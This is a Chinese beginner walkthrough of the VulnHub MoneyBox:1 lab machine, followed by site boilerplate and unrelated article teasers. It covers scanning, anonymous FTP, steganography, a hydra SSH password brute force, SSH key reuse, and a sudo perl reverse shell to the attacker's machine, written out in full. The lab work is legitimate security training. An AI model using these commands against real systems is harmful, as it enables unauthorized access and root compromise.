【新手向】VulnHub靶场MONEYBOX:1 | 详细解析

MONEYBOX:1

安装靶机

作为一名新手,首先要配置好环境,才能进行下一步的操作。
在这里插入图片描述

将下载的ova文件导入VirtualBox。
VirtualBox下载地址:https://www.oracle.com/cn/virtualization/technologies/vm/downloads/virtualbox-downloads.html

在这里插入图片描述

选择你下载的ova文件,点击“下一步”。

在这里插入图片描述

选择存放文件的位置,点击完成。(在我的电脑上只有放在默认位置才有效)

在这里插入图片描述
启动虚拟机。

在这里插入图片描述

可能会出现如下错误信息。

在这里插入图片描述

解决方法:
在网络设置中,选择自己电脑的网卡,重新启动就可以了。

在这里插入图片描述

这里我使用桥接方式,VMware中的Kali虚拟机也使用桥接方式,使两台虚拟机处在同一网段就可以了。

在这里插入图片描述


IP探测

首先获取一下kali的网卡信息。

ifconfig

在这里插入图片描述

目前没有任何有效信息,通过Kali中的nmap工具扫描该网段下的所有主机,扫描到了很多IP。

nmap 192.168.3.0/24 参数含义:
nmap:网络探索和安全扫描工具。
192.168.3.0/24:目标 IP 地址范围。这里的 /24 表示子网掩码为 255.255.255.0,这意味着 Nmap 将扫描从 192.168.3.1 到 192.168.3.254 的所有 IP 地址。

在这里插入图片描述

也可以通过arp扫描,获得目标靶机IP。

arp-scan -I eth0 -l

在这里插入图片描述

经过访问和验证后,确认目标靶场为192.168.3.27。探测到三个开放的端口,对端口做进一步的探测。

在这里插入图片描述

使用nmap对192.168.3.27做更详细的探测,发现(自上而下):
1、21端口ftp服务允许匿名登录,还有一张trytofind.jpg图片;
2、22端口ssh服务有一些key;
3、80端口http服务存在一个网页Title:MoneyBox。

nmap -A 192.168.3.27
参数含义:
-A:Aggressive(激进)扫描模式。这是一个组合选项,包含了以下功能:
-sS(TCP SYN 扫描)
-sU(UDP 扫描)
-sT(TCP connect() 扫描)
-sV(服务版本探测)
-sC(默认脚本扫描)
OS detection(操作系统检测)或者nmap -p21 -sC 172.16.95.137
nmap -p22 -sC 172.16.95.137
nmap -p80 -sC 172.16.95.137参数含义:
-p: 指定要扫描的端口号或端口范围。
-sC: 执行默认的 NSE 脚本集合。

在这里插入图片描述


FTP服务探测

既然可以匿名登录,尝试直接登录ftp服务,账户名和密码均为anonymous。

FTP的匿名登录一般有三种:
1、 用户名:anonymous 密码:Email或者为空
2、 用户名:FTP 密码:FTP或者为空
3、 用户名:USER 密码:pass

在这里插入图片描述

登录成功之后,使用ls命令看一下有什么东西,找到一张图片,使用get命令下载下来。

ftp 192.168.3.27
ls
get trytofind.jpg
exit

下载到的图片:

在这里插入图片描述

图片的出现让我想起了CTF中的隐写术,使用steghide工具查看图片的详细信息,提示需要密码。随便试几个密码,失败了,看来要从其他地方找密码。

steghide info trytofind.jpg

Steghide 是一个用于隐藏数据(如文本、图像、音频等)在其他文件(如图片、音频文件)中的工具。

在这里插入图片描述

HTTP服务探测

直接通过浏览器访问IP,查看网站页面。提示:“这是一个非常简单的盒子,所以不要想太多”。

在这里插入图片描述

查看网页源代码(直接按F12),没有什么有用的信息。进行敏感目录收集,使用dirsearch目录爆破工具探测目录。

安装命令
apt install dirsearchdirsearch -u http://192.168.3.27/
作用:对指定的 URL(http://192.168.3.27/)进行目录和文件枚举。以下是一些可能的命令参数:
-u:指定要扫描的 URL。
-e(可选):指定要搜索的文件扩展名列表,默认值为 .php,.asp,.aspx,.jsp,.jspx,.pl,.py,.html,.htm,.shtml,.sh,.cgi,.xml 等。
-f(可选):从文件中读取要搜索的单词列表。
-t(可选):指定线程数,默认为 10。
-w(可选):指定单词列表文件。

在这里插入图片描述

发现一个新页面blogs,在浏览器中看一下。
提示:我是 TOm-H4ck3r
我已经黑了这个盒子并通知了他们。但他们没有做任何安全配置
如果您需要下一步的提示…?

在这里插入图片描述

查看网页源代码,发现下一步的提示。
提示:<!–提示是另一个秘密目录是 S3cr3t-T3xt–>。

在这里插入图片描述

根据提示切换路径为http://192.168.3.27/S3cr3t-T3xt/。
新的提示:本页无内容…

在这里插入图片描述

查看网页源代码,发现一个Key。(猜测为图片隐藏内容的密码)

在这里插入图片描述

使用得到的密码,成功读取到一个data.txt文件。

在这里插入图片描述

使用steghide提取data.txt文件,查看得到新提示。

steghide extract -sf trytofind.jpg -p 3xtr4ctd4t4 命令参数解释如下:
extract: 指定要执行的操作为提取隐藏数据。
-sf: 指定源文件为 trytofind.jpg,这是一个包含隐藏数据的图像文件。
-p: 指定用于解密隐藏数据的密码。在这个例子中,密码为 3xtr4ctd4t4。

提示:你好… renu(用户名)
我告诉你一件重要的事情:你的密码太短了,所以请更改密码
不要小看它…

在这里插入图片描述


SSH服务探测

结合得到的用户名、弱口令提示和剩下的ssh服务,尝试使用hydra工具对ssh服务进行弱口令爆破。

hydra -l renu -P rockyou.txt 192.168.3.27 ssh参数解释:
-l:指定用户名,本例中为 "renu"-P:指定包含密码的字典文件,本例中为 "rockyou.txt"。这是一个广泛使用的密码字典,包含了大量常见的密码。
192.168.3.27:目标 IP 地址。
ssh:指定要攻击的服务,本例中为 SSH(Secure Shell)服务。

在这里插入图片描述

得到renu账户的ssh密码为987654321,直接尝试ssh远程登陆。登录成功。

ssh renu@192.168.3.27

在这里插入图片描述

renu用户登录

ls命令看一下有什么文件,pwd命令看一下当前路径,尝试用sudo提权失败,在user1.txt文件中得到第一个flag。

ls
pwd
uname -a (显示系统详细信息)
uname -r (用于在 Unix 或类 Unix 系统中显示当前运行的内核版本。)
sudo su 
cat user1.txt

在这里插入图片描述

接下来进行提权操作,分析一下历史命令,寻找辅助提权的信息。从历史命令中可以看出,renu用户对192.168.43.80的主机进行SSH公钥登陆的配置,登陆账户是lily;192.168.43.80上的lily用户有sudo的权限;而renu用户可以切换为到本机的lily用户。

history #history命令用于显示或保存用户的命令历史记录ssh-keygen -t rsa
# 生成RSA类型的SSH密钥。
ssh-copy-id lily@192.168.43.80
# 将公钥复制到远程服务器上,以便进行无密码SSH登录。
chmod 400 id_rsa
# 更改id_rsa文件的权限为400,也就是只有文件所有者可以读取该文件。
ssh -i id_rsa lily@192.168.43.80
# 使用指定的密钥文件(id_rsa)通过SSH连接到远程服务器。

在这里插入图片描述

看到下图所示,renu用户进入home家目录,之后又进入lily用户目录,说明本机存在一个lily用户。

在这里插入图片描述

猜测ssh登录的账户lily为本机的lily用户,那么SSH公钥配置操作就是在本机上进行的,根据SSH公钥工作机制,如果renu用户进行了ssh-keygen -t rsa操作,会在renu的~/.ssh/中生成id_rsa和id_rsa.pub文件,如下。

在这里插入图片描述

同时,如果renu用户进行了ssh-copy-id lily@192.168.43.80操作,将会把刚才生成的id_rsa.pub拷贝到192.168.43.80主机上的lily账户~/.ssh/authorized_keys文件中。如果192.168.43.80上的lily用户就是本机的lily用户,那么lily用户下~/.ssh/authorized_keys文件中的公钥应该与renu生成的id_rsa.pub公钥一致。验证一下。

在这里插入图片描述

完全一致,那么renu用户可以通过SSH公钥验证的方式登陆到本机的lily的账户上,并且lily用户具有sudo的权限。

尝试直接su到lily用户,但是需要密码,只能通过SSH公钥验证登录到lily用户。

在这里插入图片描述


lily用户登录

ssh -i id_rsa lily@192.168.3.27-i 选项,用于指定私钥文件 id_rsa。

在这里插入图片描述

成功登录,ls命令看一下有什么文件,在user1.txt文件中得到第二个flag。

在这里插入图片描述

尝试su提升权限,但还是需要密码。再次查看history历史命令,发现lily用户编辑了sudoers,并且查找了一些具有suid权限的文件,执行了sudo -l 。

在这里插入图片描述
在这里插入图片描述

使用sudo -l命令看一下当前用户可用的sudo权限,发现可以使用sudo权限的perl命令(不需要输入密码)。

sudo -l 
# 查看当前用户可用的sudo权限

在这里插入图片描述

既然可以使用perl命令,那么采用反弹shell的方法提升权限。


反弹Shell提权

首先,在kali上开启nc进行监听。

nc -lnvp 6666
# 使用 nc(Netcat)命令在本地主机上监听TCP端口6666的命令。命令参数解释如下:
-l: 使Netcat进入监听模式,等待连接请求。
-n: 指定不进行DNS解析,使用IP地址而非主机名。
-v: 启用详细模式,显示更多的操作信息。
-p: 指定要监听的端口号,这里为6666。

在这里插入图片描述

然后,生成一段用于反弹shell的perl指令进行sudo执行。(!!!$ i=攻击机的IP,$p=攻击机监听的端口!!!)

sudo perl -e 'use Socket;$i="192.168.3.25";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
当执行此命令时,以下过程会发生:
1、使用 sudo 提升权限执行 Perl 命令。
2、在 Perl 中,定义了以下几个变量:$i="192.168.3.25":目标 IP 地址。$p=6666:目标端口号。
3、使用 Socket 模块创建一个 TCP 套接字(Socket),并连接到指定的 IP 地址和端口号。
4、如果连接成功,将标准输入(STDIN)、标准输出(STDOUT)和标准错误(STDERR)重定向到套接字,这样就可以通过该套接字发送和接收数据。
5、执行 /bin/sh -i,启动一个交互式的 Bash shell。这个 shell 的输入和输出都会通过先前建立的套接字进行传输。

在这里插入图片描述

最后成功拿到root权限,并在user3.txt文件中拿到第三个flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/228355.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JMeter(十六)-JMeter断言

十六、JMeter断言 1.简介 断言组件用来对服务器的响应数据做验证&#xff0c;常用的断言是响应断言&#xff0c;其支持正则表达式。虽然我们的通过响应断言能够完成绝大多数的结果验证工作&#xff0c;但是JMeter还是为我们提供了适合多个场景的断言元件&#xff0c;辅助我们来…

【数据结构】栈和队列(队列的基本操作和基础知识)

&#x1f308;个人主页&#xff1a;秦jh__https://blog.csdn.net/qinjh_?spm1010.2135.3001.5343&#x1f525; 系列专栏&#xff1a;《数据结构》https://blog.csdn.net/qinjh_/category_12536791.html?spm1001.2014.3001.5482 ​ 目录 前言 队列 队列的概念和结构 队列的…

【操作系统】虚拟存储器

5.1 虚拟存储器概述 之前介绍的各种存储器管理方式有一个共同的特点&#xff0c;即它们都要求将一个作业全部装入内存后方能运行。于是&#xff0c;出现了下面这样两种情况&#xff1a; (1) 有的作业很大&#xff0c;其所要求的内存空间超过了内存总容量&#xff0c;作业不能全…

【PTA-C语言】实验七-函数与指针I

如果代码存在问题&#xff0c;麻烦大家指正 ~ ~有帮助麻烦点个赞 ~ ~ 目录——实验七-函数与指针I 6-1 弹球距离&#xff08;分数 10&#xff09;6-2 使用函数输出一个整数的逆序数&#xff08;分数 10&#xff09;6-3 使用函数求最大公约数&#xff08;分数 10&#xff09;6-4…

用CSDN训练的InsCode AI创作博文:数据治理体系建设

想不想用AI帮我们写方案&#xff1f; 想尝试用CSDN提供的InsCode AI创作助手协助我们进行技术方案的创作&#xff0c;看看效果如何&#xff0c;能不能辅助我们日常的方案编写与创作&#xff1f;以前用ChatGPT也尝试过&#xff0c;但对于专业性更强的内容&#xff0c;还有表现的…

BIOS:计算机中的特洛伊木马

内容概述&#xff1a; 由于主板制造商在计算机启动时用来显示品牌徽标的图像分析组件相关的问题&#xff0c;多个安全漏洞&#xff08;统称为 LogoFAIL&#xff09;允许攻击者干扰计算机设备的启动过程并安装 bootkit。x86 和 ARM 设备都面临风险。主板固件供应链安全公司 Bin…

软件工程总复习笔记

软件工程课程复习提纲 文章目录 软件工程课程复习提纲一、基本知识点1. 软件工程的概念及目标2. 软件危机的概念及典型表现3. 瀑布模型的概念及特点4. 快速原型模型的特点5. 螺旋模型的基本思想6. 软件生命周期的概念及划分为哪几个阶段7. 软件需求的定义8. 常见的软件需求获取…

html-css-js移动端导航栏底部固定+i18n国际化全局

需求&#xff1a;要做一个移动端的仿照小程序的导航栏页面操作&#xff0c;但是这边加上了i18n国家化&#xff0c;由于页面切换的时候会导致国际化失效&#xff0c;所以写了这篇文章 1.效果 切换页面的时候中英文也会跟着改变&#xff0c;不会导致切换后回到默认的语言 2.实现…

R_handbook_作图专题

ggplot基本作图 1 条形图 library(ggplot2) ggplot(biopics) geom_histogram(aes(x year_release),binwidth1,fill"gray") 2 堆砌柱状图 ggplot(biopics, aes(xyear_release)) geom_bar(aes(fillsubject_sex)) 3 堆砌比例柱状图 ggplot(biopics, aes(xyear_rele…

DSL查询语法和RestClient查询文档

目录 DSL查询语法 DLS Query的分类 DSL Query基本语法 全文检索查询 精准查询 地理查询 复合查询 Function Score Query 复合查询 Boolean Query 搜索结果处理 排序 分页 分页 深度分页问题 深度分也解决方案 高亮 RestClient查询文档 快速入门 全文检索查…

sudo: /usr/bin/sudo must be owned by uid 0 and have the setuid bit set问题解决方案

sudo: /usr/bin/sudo must be owned by uid 0 and have the setuid bit set问题解决方案 当我们使用sudo su切换权限时提示错误&#xff1a; sudo: /usr/bin/sudo must be owned by uid 0 and have the setuid bit set该错误出现原因&#xff1a;是因为/usr/bin/sudo的权限被…

Head First Design Patterns - 观察者模式

观察者模式 观察者模式定义了对象之间的一对多依赖&#xff0c;当一个对象改变状态时&#xff0c;它的所有依赖者都会收到通知并自动更新。观察者模式是一种对象行为型模式。 场景 很多用户都订阅了某一公众号&#xff0c;当该公众号更新时&#xff0c;所以用户都会收到消息…

PyTorch的Tensor(张量)

一、Tensor概念 什么是张量&#xff1f; 张量是一个多维数组&#xff0c;它是标量、向量、矩阵的高维拓展 Tensor与Variable Variable是torch.autograd中的数据类型&#xff0c;主要用于封装Tensor&#xff0c;进行自动求导。 data: 被包装的Tensorgrad: data的梯度&…

2023年终总结|回顾学习Tensorflow、Keras的历程

2023年4月&#xff0c;初探TensorFlow2.0&#xff0c;对比了1.0版本的差异。接着&#xff0c;学习了TensorFlow2.0的常量矩阵、四则运算以及常用函数。学习了数据切割、张量梯度计算、遍历元素、类别索引转换等技巧&#xff0c;并掌握了CNN输出特征图形状的计算方法。 在数据处…

osg::DrawElements*系列函数及GL_QUAD_STRIP、GL_QUADS绘制四边形效率对比

目录 1. 前言 2. osg::DrawElements*系列函数用法说明 3. GL_QUADS、GL_QUAD_STRIP用法及不同点 4. 效率对比 5. 总结 6. 参考资料 1. 前言 利用osg绘制图元&#xff0c;如&#xff1a;三角形、四边形等&#xff0c;一般用osg::PrimitiveSet类。其派生出了很多子类&#…

详解全志R128 RTOS安全方案功能

介绍 R128 下安全方案的功能。安全完整的方案基于标准方案扩展&#xff0c;覆盖硬件安全、硬件加解密引擎、安全启动、安全系统、安全存储等方面。 配置文件相关 本文涉及到一些配置文件&#xff0c;在此进行说明。 env*.cfg配置文件路径&#xff1a; board/<chip>/&…

Hive安装笔记——备赛笔记——2024全国职业院校技能大赛“大数据应用开发”赛项——任务2:离线数据处理

将下发的ds_db01.sql数据库文件放置mysql中 12、编写Scala代码&#xff0c;使用Spark将MySQL的ds_db01库中表user_info的全量数据抽取到Hive的ods库中表user_info。字段名称、类型不变&#xff0c;同时添加静态分区&#xff0c;分区字段为etl_date&#xff0c;类型为String&am…

sparkstreamnig实时处理入门

1.2 SparkStreaming实时处理入门 1.2.1 工程创建 导入maven依赖 <dependency><groupId>org.apache.spark</groupId><artifactId>spark-streaming_2.12</artifactId><version>3.1.2</version> </dependency> <dependency…

硬件安全模块 (HSM)、硬件安全引擎 (HSE) 和安全硬件扩展 (SHE)的区别

术语 硬件安全模块 (HSM) &#xff1a;Hardware Security Modules硬件安全引擎 (HSE) &#xff1a;Hardware Security Engines安全硬件扩展 (SHE) &#xff1a; Secure Hardware Extensions 介绍 在汽车行业中&#xff0c;硬件安全模块 (HSM)、硬件安全引擎 (HSE) 和安全硬件…

【华为OD机试真题2023CD卷 JAVAJS】测试用例执行计划

华为OD2023(C&D卷)机试题库全覆盖,刷题指南点这里 测试用例执行计划 时间限制:1s 空间限制:256MB 限定语言:不限 题目描述: 某个产品当前迭代周期内有N个特性()需要进行覆盖测试,每个特性都被评估了对应的优先级,特性使用其ID作为下标进行标识。 设计了M个测试用…